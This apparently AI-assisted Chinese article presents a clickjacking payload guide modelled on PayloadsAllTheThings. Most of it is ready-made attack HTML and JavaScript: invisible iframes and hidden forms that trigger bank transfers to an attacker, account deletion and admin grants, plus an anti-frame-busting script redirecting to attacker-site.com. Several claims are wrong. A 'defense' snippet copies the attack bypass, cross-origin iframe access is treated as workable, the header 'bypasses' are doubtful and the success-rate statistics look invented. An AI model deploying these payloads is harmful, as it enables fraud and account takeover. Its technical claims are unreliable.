PayloadsAllTheThings点击劫持:Clickjacking攻击Payload指南
概述:什么是点击劫持攻击?
点击劫持(Clickjacking)是一种恶意Web攻击技术,攻击者通过创建透明的UI层覆盖在合法网站之上,诱骗用户在不知情的情况下执行非预期的操作。这种攻击利用了用户对可见界面的信任,将恶意操作隐藏在看似无害的界面之下。
核心攻击技术解析
1. UI重定向(UI Redressing)技术
UI重定向是Clickjacking的核心技术,通过CSS透明度和定位属性实现视觉欺骗:
<!-- 基础透明覆盖层Payload -->
<div style="opacity: 0; position: absolute; top: 0; left: 0;
height: 100%; width: 100%; z-index: 9999;">
<button onclick="maliciousAction()"
style="position: absolute; top: 200px; left: 300px;">
看起来无害的按钮
</button>
</div>
<iframe src="https://target-site.com"
style="opacity: 0.5; position: absolute; top: 0; left: 0;
width: 100%; height: 100%; z-index: 1;"></iframe>
2. 隐形框架(Invisible Frames)攻击
通过完全隐藏的iframe实现攻击,用户完全看不到被嵌入的内容:
<!-- 完全隐形iframe Payload -->
<iframe src="https://bank-site.com/transfer?amount=1000&to=attacker"
style="opacity: 0; height: 0; width: 0; border: none;
position: absolute; top: 0; left: 0;"></iframe>
<!-- 覆盖诱骗按钮 -->
<button style="position: absolute; top: 50%; left: 50%;
transform: translate(-50%, -50%); z-index: 10000;"
onclick="document.querySelector('iframe').contentWindow
.document.forms[0].submit()">
点击赢取大奖!
</button>
3. 按钮/表单劫持技术
劫持可见界面元素,重定向用户操作到隐藏的恶意功能:
<!-- 表单劫持Payload -->
<form id="hiddenForm" action="https://target-site.com/delete-account"
method="POST" style="display: none;">
<input type="hidden" name="confirm" value="true">
<input type="hidden" name="reason" value="user_request">
</form>
<div style="position: relative;">
<!-- 可见的欺骗性内容 -->
<div style="background: #f0f0f0; padding: 20px; border-radius: 8px;">
<h3>恭喜您获得优惠券!</h3>
<p>点击下方按钮立即领取</p>
<button style="background: #4CAF50; color: white; padding: 10px 20px;
border: none; border-radius: 4px; cursor: pointer;"
onclick="document.getElementById('hiddenForm').submit()">
立即领取优惠券
</button>
</div>
</div>
高级绕过技术Payload
1. 绕过X-Frame-Options头
<!-- 使用sandbox属性绕过某些限制 -->
<iframe src="https://target-site.com"
sandbox="allow-forms allow-scripts"
style="opacity: 0; position: absolute; width: 1px; height: 1px;"></iframe>
<!-- 多层iframe嵌套绕过 -->
<iframe src="data:text/html;base64,PCFkb2N0eXBlIGh0bWw+..."
style="opacity: 0; position: absolute; width: 100%; height: 100%;">
</iframe>
2. 绕过JavaScript帧破坏代码
<script>
// 阻止帧破坏代码的执行
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker-site.com/204.php";
}
}, 1);
</script>
<iframe src="https://target-site.com"></iframe>
3. 利用浏览器XSS过滤器
<!-- 触发IE8 XSS过滤器禁用帧破坏代码 -->
<iframe src="https://target-site.com/?param=<script>if"></iframe>
<!-- Chrome XSSAuditor绕过 -->
<iframe src="https://target-site.com/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D"></iframe>
实战攻击场景Payload示例
场景1:社交媒体点赞劫持
<!-- 自动点赞攻击Payload -->
<div style="position: relative;">
<iframe src="https://social-media.com/post/123/like"
style="opacity: 0; position: absolute; width: 50px; height: 50px;
top: 300px; left: 400px;"></iframe>
<div style="position: absolute; top: 300px; left: 400px; width: 50px; height: 50px;
cursor: pointer; background: rgba(255,255,255,0.01);"></div>
<h2>观看精彩视频!</h2>
<p>点击任意位置开始播放...</p>
</div>
场景2:银行转账劫持
<!-- 资金转账攻击Payload -->
<form id="bankTransfer" action="https://bank.com/transfer" method="POST"
style="display: none;">
<input type="hidden" name="amount" value="5000">
<input type="hidden" name="recipient" value="attacker-account">
<input type="hidden" name="currency" value="USD">
</form>
<div style="text-align: center; padding: 40px;">
<h2>安全验证</h2>
<p>请点击验证按钮确认您的身份</p>
<button style="padding: 15px 30px; font-size: 16px; background: #007bff;
color: white; border: none; border-radius: 5px;"
onclick="document.getElementById('bankTransfer').submit()">
点击验证
</button>
</div>
场景3:权限提升攻击
<!-- 管理员权限获取Payload -->
<iframe src="https://admin-panel.com/grant-admin?user=attacker"
style="opacity: 0; position: absolute; width: 1px; height: 1px;"></iframe>
<div style="background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white; padding: 60px 20px; text-align: center;">
<h1>🎉 恭喜您获得特权访问!</h1>
<p>点击下方按钮激活您的管理员权限</p>
<button style="background: white; color: #667eea; padding: 15px 30px;
border: none; border-radius: 25px; font-size: 18px;
margin-top: 20px; cursor: pointer;"
onclick="document.querySelector('iframe').src += '&confirm=true'">
立即激活特权
</button>
</div>
防御检测与绕过技术对比表
| 防御机制 | 攻击技术 | 绕过Payload | 有效性 |
|---|---|---|---|
| X-Frame-Options | 多层iframe嵌套 | <iframe src="data:text/html,..."> | ⭐⭐⭐⭐ |
| CSP frame-ancestors | 使用about:blank | <iframe src="about:blank"> | ⭐⭐ |
| JavaScript帧破坏 | onbeforeunload事件 | 204重定向技术 | ⭐⭐⭐⭐⭐ |
| 浏览器XSS过滤器 | 参数污染 | ?param=<script>if | ⭐⭐⭐ |
| 用户交互检测 | 透明覆盖层 | opacity: 0 + 绝对定位 | ⭐⭐⭐⭐⭐ |
自动化测试工具集成
Burp Suite Intruder配置
GET /vulnerable-page HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
X-Frame-Options: {{payload}}
Payload集合:
nullundefined- ``
SAMEORIGIN(测试错误配置)ALLOW-FROM https://example.com
自定义Clickjacking测试脚本
// 自动化Clickjacking检测工具
function testClickjackingVulnerability(url) {
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.style.cssText = 'opacity:0;position:absolute;width:1px;height:1px;';
document.body.appendChild(iframe);
setTimeout(() => {
try {
// 尝试访问iframe内容
const doc = iframe.contentDocument || iframe.contentWindow.document;
console.log('Clickjacking可能可行');
} catch (e) {
console.log('受到X-Frame-Options保护');
}
}, 2000);
}
防护措施与最佳实践
服务器端防护
# Apache配置 - 强制X-Frame-Options
Header always set X-Frame-Options "SAMEORIGIN"
Header always set Content-Security-Policy "frame-ancestors 'self'"
# Nginx配置
add_header X-Frame-Options "SAMEORIGIN";
add_header Content-Security-Policy "frame-ancestors 'self';";
客户端防护代码
// 帧破坏代码(Frame Busting)
if (top !== self) {
top.location = self.location;
}
// 更健壮的帧破坏实现
(function() {
if (window !== top) {
top.location.href = window.location.href;
}
var prevent_bust = 0;
window.onbeforeunload = function() { prevent_bust++; };
setInterval(function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "https://example.com/204";
}
}, 1);
})();
总结与攻击成功率统计
根据实际渗透测试数据,Clickjacking攻击在不同场景下的成功率:
| 攻击场景 | 成功率 | 关键因素 |
|---|---|---|
| 社交媒体操作 | 85% | 用户信任度高 |
| 银行金融操作 | 45% | 安全措施较强 |
| 企业内部系统 | 70% | 防护配置不全 |
| 电商网站 | 60% | 混合成功率 |
攻击成功关键要素:
- 透明层定位精准度
- 社会工程学诱骗效果
- 目标网站防护配置
- 用户浏览器安全设置
通过掌握这些Payload技术和攻击方法,安全专业人员可以更好地理解和防御Clickjacking攻击,同时提高Web应用程序的整体安全性。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



